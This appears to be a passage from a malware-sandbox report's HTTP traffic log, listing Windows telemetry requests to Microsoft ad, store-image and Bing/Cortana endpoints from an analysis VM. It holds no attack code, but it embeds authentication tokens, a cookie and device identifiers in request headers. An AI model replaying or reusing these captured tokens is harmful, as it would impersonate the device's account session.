WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: tch0,m301,m751,mA01,mT01Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=314559&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&ctry=US&time=20220721T020624Z&lc=en-US&pl=en-US&idtp=mid&uid=d9fcfe42-b5d5-4629-ac66-c2605ea824c4&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=51d1191e70d545a7920bf09d0fb131eb&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611721&metered=false&nettype=ethernet&npid=sc-314559&oemName=VMware%2C%20Inc.&oemid=VMware%2C%20Inc.&ossku=Professional&smBiosDm=VMware7%2C1&tl=2&tsu=1611721&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32220&sc=6Cache-Control: no-cacheMS-CV: HWwVH4udkkOtntHq.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: tch0,m301,m751,mA01,mT01Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.18858.9007199266246227.c596c546-6fcb-4260-935c-19bc24b971ef.1b03c26f-1753-4221-9ab1-4581f098723d?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.16574.13571498826857201.00a9d390-581f-492c-b148-b2ce81649480.6a6f592e-efa9-4bb0-b008-7c3422ab3313?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.15881.13753891519397067.8011a592-e549-44a6-8073-41dcd83eddbe.bcf361e4-21f7-429d-877a-6c55c1b655ff?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.18694.9007199266247846.b5c49955-e050-4553-b8e4-0e223ed6c5a1.4e8e78d2-c2c2-4c02-8d8c-46ac3b2419e7?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.2052.9007199266247846.b5c49955-e050-4553-b8e4-0e223ed6c5a1.a0c3decd-308f-4f06-bcfb-2aa4f3afe248?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.10288.13753891519397067.8011a592-e549-44a6-8073-41dcd83eddbe.12bb65f7-1014-4469-bb2e-59f575e79b05?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.20893.13571498826857201.00a9d390-581f-492c-b148-b2ce81649480.acc28f88-50de-4aaf-abfc-ad1da8b04cd0?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.256.14495311847124170.e89a4dce-fd9a-4a10-b8e4-a6c3aa1c055e.ca4cbefc-0ab0-4144-90c1-07f5250c8c21?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.39478.14495311847124170.e89a4dce-fd9a-4a10-b8e4-a6c3aa1c055e.8ad1b690-ff36-44fa-8afc-0dc5bed1273c?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.40093.9007199266285780.3d16d9fa-052b-42c5-ba7d-a5688e3dda24.e6964d6a-18a4-4746-9238-9f0acc233a65?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.49525.13510798887047136.8a1815b2-017c-48c8-80cc-ca4d1ae5c8cf.2f6b9bdf-a4fc-42d8-aea0-65c437755b78?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.58298.9007199266285780.3d16d9fa-052b-42c5-ba7d-a5688e3dda24.55988ee1-bd9b-4322-980a-a610abdc7713?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.616.13510798887047136.8a1815b2-017c-48c8-80cc-ca4d1ae5c8cf.d81cfd95-c9fd-48e0-8fc3-36ff7b9e590a?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.64128.9007199266246227.c596c546-6fcb-4260-935c-19bc24b971ef.d58015ff-2fcf-4113-975b-e873039b6d86?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.10318.9007199266246761.cc710c1e-2e5d-4241-97cb-d944f43f9af1.8cf0ef1a-60ff-4508-85ab-fd3d7f02c6a3?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.13224.9007199266243744.1d2d3767-9bde-47ad-95c6-81ccd5714dd0.9547b9f0-b1dc-4352-9dc9-7ea6f4eef5c3?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /proactive/v2/spark?cc=US&setLang=en-US HTTP/1.1X-Search-CortanaAvailableCapabilities: CortanaExperience,SpeechLanguageX-Search-SafeSearch: ModerateAccept-Encoding: gzip, deflateX-Device-MachineId: {A2AB526A-D38D-4FC9-8BA0-E34B8D6354E8}X-Device-IsBatteryCertified: falseX-UserAgeClass: UnknownX-BM-Market: USX-BM-DateFormat: M/d/yyyyX-CortanaAccessAboveLock: falseX-Device-OSSKU: 48X-Device-IsBatteryEnabled: falseX-Device-NetworkType: ethernetX-BM-DTZ: -420X-BM-FirstEnabledTime: 132061395240662859X-DeviceID: 0100748C0900F661X-VoiceActivationOn: falseX-Device-AudioCapture: Microphone (High Definition Audio Device)X-Search-TimeZone: Bias=480; DaylightBias=-60; TimeZoneKeyName=Pacific Standard TimeX-BM-Theme: 000000;0078d7X-Search-RPSToken: t%3DEwDYAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAd8yknU0Ka11yykr1%2Bc7MvV8vVkUT31Mb7YrpuFD%2B/6raQk%2Bg7XYvOVtCAtPOCPZliRecxu%2BveDYFsEMu7rloOMvdZnm1/678eADCu7pmtd%2B%2BLKStln8tohAGRr4PKhmsSfL8cIyDDpw7ue/LnTuMM43agwNcIDRoNG0pmc64K5DR0FEMHIsDmgX2jdk58rSlcq4hvrKUVMxtKAv67rmTJwSlSueouj3T/BH9eOWnNw1UgOKyH6JHtkPoF3MFcVvhcSe%2BokEzKUwl/n71eKODCkrWY3wvUkbeCFh/ziUENAQRORNw94SGWopXPhHYNzvHQBoH9%2BSk6v7hBxtffLHs4MDZgAACBxuWcuc9ZMiqAExecSOx9bZVeASVbBIYus0KRGfKVZqS7jKvQd2BHNAvFW1ahKNWDWoVTv7LyqQz2z8SYm9uuWLGLVkmyz99AbCaLwVrtTXbJvKhfD8w7ghru92hfYkokR7WQTPUWBH5m6Butg2bQfBM3IeWKMqaVZoPzZkeJmnXCRj/l4BF9dNolr8dNfaa9OB09cbgyp2ogBHdbjMxj84JBcv8P0p6y5%2B3BJM63qqXl%2B44iqq8JPVs6/WU1/%2B88cbU5OXE%2BBSD9tT/zFXdQHgrisl12pkGoqDuIyyZTHY0y9Ah3%2BrtpKsJPTnxo4NBhW3zlYpLKjPb4hLEqdN%2Bxi4qAYsam3WDXydh5Zi59lK7W3lRPnBCdgP1tHaGxVnsiKqO5nYmpARujFtFTTTBHhcErYf2Orc%2BRBVvwdz29Q/bwDU4z1IRGpsipe/Jo/MV5D84eK3ufhmm41OZJw9CvirUsCsPIOgdYOQzADvR4xOUpmuHny0T0sQ3Ty3kLgtBPoan7lctH3NGlV/HjDtSls4jCBjyVoSgWCKUeb0g9j9K8UE3oPVCKV7lSASYO1HwYXi1gE%3D%26p%3DX-Agent-DeviceId: 0100748C0900F661X-BM-CBT: 1658369182User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134X-Device-isOptin: trueAccept-language: en-US, enX-Device-IsEnergyHero: falseX-Device-Touch: falseX-Device-ClientSession: AEE386E4D95049979E3D507F3459ED09X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIX-BM-ClientFeatures: pbitcpdisabled,AmbientWidescreen,rs1musicprod,CortanaSPAXamlHeaderHost: www.bing.comConnection: Keep-AliveCookie: MUID=7E1F7E3AB9E24BF9AA0D8F6664CA6F63
Source: global traffic	HTTP traffic detected: GET /client/config?cc=US&setlang=en-US HTTP/1.1X-Search-CortanaAvailableCapabilities: CortanaExperience,SpeechLanguageX-Search-SafeSearch: ModerateAccept-Encoding: gzip, deflateX-Device-MachineId: {A2AB526A-D38D-4FC9-8BA0-E34B8D6354E8}X-UserAgeClass: UnknownX-BM-Market: USX-BM-DateFormat: M/d/yyyyX-CortanaAccessAboveLock: falseX-Device-OSSKU: 48X-BM-DTZ: -420X-BM-FirstEnabledTime: 132061395240662859X-DeviceID: 0100748C0900F661X-Search-TimeZone: Bias=480; DaylightBias=-60; TimeZoneKeyName=Pacific Standard TimeX-BM-Theme: 000000;0078d7X-Search-RPSToken: t%3DEwDYAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAd8yknU0Ka11yykr1%2Bc7MvV8vVkUT31Mb7YrpuFD%2B/6raQk%2Bg7XYvOVtCAtPOCPZliRecxu%2BveDYFsEMu7rloOMvdZnm1/678eADCu7pmtd%2B%2BLKStln8tohAGRr4PKhmsSfL8cIyDDpw7ue/LnTuMM43agwNcIDRoNG0pmc64K5DR0FEMHIsDmgX2jdk58rSlcq4hvrKUVMxtKAv67rmTJwSlSueouj3T/BH9eOWnNw1UgOKyH6JHtkPoF3MFcVvhcSe%2BokEzKUwl/n71eKODCkrWY3wvUkbeCFh/ziUENAQRORNw94SGWopXPhHYNzvHQBoH9%2BSk6v7hBxtffLHs4MDZgAACBxuWcuc9ZMiqAExecSOx9bZVeASVbBIYus0KRGfKVZqS7jKvQd2BHNAvFW1ahKNWDWoVTv7LyqQz2z8SYm9uuWLGLVkmyz99AbCaLwVrtTXbJvKhfD8w7ghru92hfYkokR7WQTPUWBH5m6Butg2bQfBM3IeWKMqaVZoPzZkeJmnXCRj/l4BF9dNolr8dNfaa9OB09cbgyp2ogBHdbjMxj84JBcv8P0p6y5%2B3BJM63qqXl%2B44iqq8JPVs6/WU1/%2B88cbU5OXE%2BBSD9tT/zFXdQHgrisl12pkGoqDuIyyZTHY0y9Ah3%2BrtpKsJPTnxo4NBhW3zlYpLKjPb4hLEqdN%2Bxi4qAYsam3WDXydh5Zi59lK7W3lRPnBCdgP1tHaGxVnsiKqO5nYmpARujFtFTTTBHhcErYf2Orc%2BRBVvwdz29Q/bwDU4z1IRGpsipe/Jo/MV5D84eK3ufhmm41OZJw9CvirUsCsPIOgdYOQzADvR4xOUpmuHny0T0sQ3Ty3kLgtBPoan7lctH3NGlV/HjDtSls4jCBjyVoSgWCKUeb0g9j9K8UE3oPVCKV7lSASYO1HwYXi1gE%3D%26p%3DX-Agent-DeviceId: 0100748C0900F661X-BM-CBT: 1658369182User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134X-Device-isOptin: trueAccept-language: en-US, enX-Device-Touch: falseX-Device-ClientSession: AEE386E4D95049979E3D507F3459ED09X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIX-BM-ClientFeatures: pbitcpdisabled,AmbientWidescreen,rs1musicprod,CortanaSPAXamlHeaderHost: www.bing.comConnection: Keep-AliveCookie: MUID=7E1F7E3AB9E24BF9AA0D8F6664CA6F63
Source: global traffic	HTTP traffic detected: GET /image/apps.15982.13510798883386282.38bb6176-27af-4000-85dd-12a4c12514f2.7bbbe321-5273-45d0-814e-74f2065197d3?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.16957.14618985536919905.4b30e4f3-f7a1-4421-840c-2cc97b10e8e0.aef04b90-a221-4ea5-a05d-0d51ac792471?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&ctry=US&time=20220721T020713Z&lc=en-US&pl=en-US&idtp=mid&uid=d9fcfe42-b5d5-4629-ac66-c2605ea824c4&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=785df946f98a483799f81135de26dd21&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611721&metered=false&nettype=ethernet&npid=sc-280815&oemName=ouyquf%2C%20Inc.&oemid=ouyquf%2C%20Inc.&ossku=Professional&smBiosDm=ouyquf7%2C1&tl=2&tsu=1611721&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32220&sc=6X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAATguwFZ4P182k8J5IkvUiY/HEx6w3DF460bDchaP7cKdiNkqS7XXFrTH9cXx4wHTaJca5dxhxaZT+5wmuZYbtiIA4Hree396A+jM6+LaxRaxyfTByNIyl2QDg/u8GwaSzBsJamsnjSM5BDVcw01qefWOVcEETV4H1UxUwgVasnpcLS9SY+MtGPwAYOsWk0BVwuPorIFos/oiDS1seP/YCl//wi0prJ25jxvIQKHw3VIL3N9xsnsYaYRuARvJAqQNzJ3o/2NbrZCbZW0LtFLhNDJVe1hP0L0mnTulBVPtXcRLhJuaY1LRbR+tkY+kaEwoTKyRqnAeKdBaD5PIa+K01h0DZgAACAqRa0wZzCr+qAFdnPxVXQrfq00Jv/x/a/7XX7rpsTjU1yU0crEF77QFwyE9LGIejw1Cg/hynTV4na14fYXIzI5RolQUFBC6ycleCjsTP8KTzYgMlbxONwsXdy1Ejc856N81Ee5Ftiw+qvHujbN6L2oKgmP80OPKG6v6dSVaLYO7w8Y33+DWOB+6Vqv14P8YXHGaHlce4ne8TFugRUReEFxyggvCYwJ1CCyMNt44wxEIKnoj04sMwa1MUtjFAb45/YNj4n2crNbcHvj9E6/psi85QJo0slbk+GESfINc930L5hZFYRwWgocW/xBRAHqUeNgVA0Xd9vnoRDb9QRYR7Hn71wum+PAYRfUE/0J2ngfp2fWXvM1WfdI35+KgrWrhOMlPa6uyKvY4MP8udqkfljZYvkuh8SvSXysbI8k/14jAI8WM9fwLd3h0/WLNorr6zSd45vVqwgiLNygHmcojv//pT74BRUHjcUyhZRu56OMpC7IALYQrrEI5gST7cFaA8U3pISMw2nFO+IA6lyfXZ8xTNELt2VYJiZOI/kWhfsOFh8xtqquou+KnJkqchgWI8EhI1gE=&p=Cache-Control: no-cacheMS-CV: r7U++ELBvUuvTLsQ.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: tch0,m301,m751,mA01,mT01Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338389&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&ctry=US&time=20220721T020713Z&lc=en-US&pl=en-US&idtp=mid&uid=d9fcfe42-b5d5-4629-ac66-c2605ea824c4&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=e8631560af61401fa219d583d3ba337b&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611721&metered=false&nettype=ethernet&npid=sc-338389&oemName=ouyquf%2C%20Inc.&oemid=ouyquf%2C%20Inc.&ossku=Professional&smBiosDm=ouyquf7%2C1&tl=2&tsu=1611721&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32220&sc=6X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAalT/BpRpK4Jcdzbxpdvg7rC33McCm5KKgW2iJ32ihUWYPsBQn7z7NynLZ7q9/z4FuVLHRXrEtxdQ4SEjVcpGPI+GyOAgDJsgq3yA4fBK59Yx/Ez0LS0VFoTkkyUI5XrLopDZT+xgam3XenwMHnqh9nQQuk0Jc0u2BeakH1+yCmrYtdIIW9v/gK3SSG9GaWiCYWVSo+JQ39rYY7Y3MDEjo2gRqikpPzyv24zo1Brt6yeuIvryweBlF7MnFxehXBd6CsRF48QDscFGstaZN5PMheBbHYlJEyTqkMZZARdI0IFxqFkW8z1T3ZE8cdDt+A6Dm186G5NsnBLcKeb3v5aoo4DZgAACBPALZXQjljfqAGiK55EMrFWnrQuqmbeoLkykuW//KRUI0VXJZgdeP/YQAGP4Glv502qjtsjUYEnfyTeUzszC3VmK48D+HvSi4nCd1M6XOlFXnLWk64zNgP2DtLZjdKGhu5Xcp82pzUCsUzDVBG8b3gSdNvdUsQL2I5/FfJxTP3SawYm9r8d0hb9LISgscjs6I//xNMOJEVGT61DI88lxy3Iky1vreQSlSuzLGx2H25/aOX6WpK3zj5szHojzbcv/CkCxh8g4qHAof8o+GRoRiWtFlToPWQClAnuU6U9mPDGepXP7C4YKnq+mCaimQ/5CA8vCEmM/rt0/e2CbfWabGZm1UeUd1IPa15XIr/ZFJIuZzMXiCNlQtKqeblUNAO00kNnLVD38LI0izoEeI9DPEF/NBXRaUTmbKLgl7AluJWruNjrrMYMIzDKAQSgDeEAHoUYdUjxc/UH98WHItXOKyNGjIX4SLX7+Yk0s8WQpQT01XsTnGQT/ui0oI5EVoViQfncD8g0AmJxKu5X15XHVOWL7rUkS3F5/R05jcE6Mpbdb9o5HNIB3nN0PZLKoDvN+zkG1gE=&p=Cache-Control: no-cacheMS-CV: r7U++ELBvUuvTLsQ.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: tch0,m301,m751,mA01,mT01Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.18124.9007199266244427.c75d2ced-a383-40dc-babd-1ad2ceb13c86.afc6c372-c7a8-4eda-94fb-541bbb081d14?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&ctry=US&time=20220721T020727Z&lc=en-US&pl=en-US&idtp=mid&uid=d9fcfe42-b5d5-4629-ac66-c2605ea824c4&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=b2d59c86c1cd4929a310f6e549c159ea&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611721&metered=false&nettype=ethernet&npid=sc-338387&oemName=ouyquf%2C%20Inc.&oemid=ouyquf%2C%20Inc.&ossku=Professional&rver=2&sc-mode=0&smBiosDm=ouyquf7%2C1&tl=2&tsu=1611721&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32220&sc=6X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAayV1eLk2ImHS+sR9CWYK81qGrpj1TavkOcrJFH1Zzo/GhR5m7+JWWM9k75XTsFBTQYvWUxFgqXZAV7KPPjRLTR3cIBTZyj3JDheeoj1oHz7xbIob7xSW6y2BFyTfPErzFlJ+baiw1OVNVIjF9qdbkxLKpVHcsoLyBzEG/mS6oUV4aIz+CyfZc4LP+c/UbMaHNrhR+khCbdHyXLmEZYj1D00+qm+vo/nl/CF9rJS6wM49dc+1sKgS/25ELK34NZ8ZFJ7qVupl98VpcBWXtLv7Ek6vSXqI8cjdHfrrTj4GfJRicSgvoAYREQr7yYenDUOfqAOz8fjIdd4kHJ6jZixX4EDZgAACJpo4MeKEMwIqAF21H2ex6DOMgMYujMm9IalQf4XO5Nu/zccBU8Y/JklTLkEzgkX9BolussMf+sCbapYk9jUEzCXIn7jsNPgf/KkESq1KBsgUduQQqESLUupkyFMqM6PGE2PY6YWsTb1kTMdV2fkfgslmfSpyQfbjYEE8ZZq6w6WUgECRGPD9Zjc3YZ+fUrJdYzZ74LQGvojB3ytKah9nZ1MK452Ex38b7UE1eE26poXphlV14pGojf9AHxi18L4y5s1WX765ewD7Td9o1tTMpT/gbA/05MAQfxrv0Mxqi04LfMI7E1jn8prp9lCbLYU2eQ+zT3CsVkUZu9yCZE0ecCrrPvfJN6iizryaxEQOlGMo5MZouJf3p7tKzTAL+fdOCklD+53nOEju0g4PcAMVOczaydCCA9E6sj+iUe3K1XdrEY8XN1gsAaHweHYxK1Xfv9LV3hTqGtDnDlYXs/G6zPrxyyeexefgEvzVJkRcqXeeQWK7se8XtmtVa/5QOKNZ/P1i2zgF5briTpu0uwzM4NcghS+Vsaa8+r29J61dXjz3cluoUSMNSSs734ZF9arOktS1gE=&p=Cache-Control: no-cacheMS-CV: r7U++ELBvUuvTLsQ.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: tch0,m301,m751,mA01,mT01Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&ctry=US&time=20220721T020728Z&lc=en-US&pl=en-US&idtp=mid&uid=d9fcfe42-b5d5-4629-ac66-c2605ea824c4&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=34cd7b0bf17e4fc0a63593532e4cfee6&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611721&metered=false&nettype=ethernet&npid=sc-338388&oemName=ouyquf%2C%20Inc.&oemid=ouyquf%2C%20Inc.&ossku=Professional&rver=2&smBiosDm=ouyquf7%2C1&tl=2&tsu=1611721&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32220&sc=6X-SDK-HW-TOKEN: 